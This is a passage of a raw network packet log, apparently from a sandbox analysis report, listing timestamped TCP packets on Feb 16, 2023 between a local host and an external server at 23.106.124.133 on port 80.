Feb 16, 2023 10:01:26.340219975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340248108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340269089 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340275049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340303898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340328932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340344906 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340356112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340378046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340384007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340415001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340425968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340444088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340470076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340490103 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340497017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340524912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340536118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340553999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340580940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340606928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340620041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340641975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340666056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340668917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340697050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340706110 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340724945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340750933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340778112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340789080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340806961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340835094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340836048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340863943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340872049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340892076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340919018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340944052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340955973 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340970993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.340993881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.340997934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341026068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341037035 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341052055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341078043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341090918 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341104031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341130972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341150999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341156960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341183901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341193914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341209888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341234922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341259956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341272116 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341315031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341336012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341356039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341381073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341399908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341403961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341430902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341443062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341456890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341466904 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341484070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341509104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341531992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341550112 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341557980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341582060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341588974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341615915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341630936 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.341644049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341670990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.341705084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.342150927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.342180967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.342209101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.342210054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.342233896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.342258930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.342484951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516319036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516371012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516400099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516428947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516429901 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516457081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516474962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516485929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516513109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516522884 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516541004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516570091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516596079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516608000 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516622066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516648054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516654968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516674995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516683102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516704082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516731024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516753912 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516760111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516789913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516815901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516828060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516846895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516870022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516875029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516906977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516932964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516958952 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516959906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.516988039 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.516988039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517016888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517039061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517045021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517075062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517101049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517112017 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517127037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517152071 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517154932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517184019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517195940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517211914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517240047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517252922 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517267942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517294884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517321110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517345905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517348051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517371893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517375946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517406940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517432928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517458916 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517461061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517488003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517493010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517515898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517539024 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517543077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517570972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517596960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517623901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517649889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517656088 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517669916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517698050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517704010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517704010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517725945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517751932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517776966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517779112 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517802000 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517805099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517833948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517855883 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517862082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517889023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517918110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517932892 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517945051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.517971039 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.517971039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518001080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518027067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518027067 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518054008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518079042 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518081903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518106937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518130064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518155098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518183947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518191099 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518209934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518223047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518237114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518263102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518271923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518289089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518316031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518336058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518342018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518368959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518394947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518409014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518420935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518440962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518448114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518475056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518485069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.518501043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518528938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.518537045 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.529284000 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693030119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693077087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693103075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693125963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693147898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693170071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693197012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693214893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693221092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693247080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693274975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693293095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693301916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693325043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693329096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693358898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693372011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693386078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693409920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693437099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693456888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693464994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693485022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693492889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693521023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693530083 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693547964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693573952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693598032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693615913 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693624973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693650961 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693654060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693681955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693697929 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693710089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693738937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693747044 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693766117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693790913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693816900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693834066 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693841934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693866968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693871975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693900108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693913937 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.693928003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693954945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693980932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.693990946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694008112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694026947 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694035053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694061041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694072962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694087029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694113970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694123030 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694140911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694166899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694190979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694205046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694216013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694240093 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694242001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694271088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694288015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694297075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694324970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694333076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694353104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694379091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694405079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694417953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694430113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694456100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694458008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694482088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694494009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694509029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694534063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694550991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694561005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694588900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694597006 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694614887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694641113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694665909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694677114 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694710016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694711924 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694739103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694765091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694792986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694802046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694819927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694839001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694848061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694878101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694890022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694905043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694931984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694957018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.694971085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.694983006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695003986 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.695012093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695039034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695050001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.695065022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695091963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695120096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695135117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.695146084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.695187092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.696365118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.703927040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.703980923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.704118013 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.869656086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869733095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869764090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869791031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869817019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869844913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869870901 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.869873047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869904995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869934082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.869963884 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.869965076 CET	80	49698	23.106.124.133	192.168.2.4
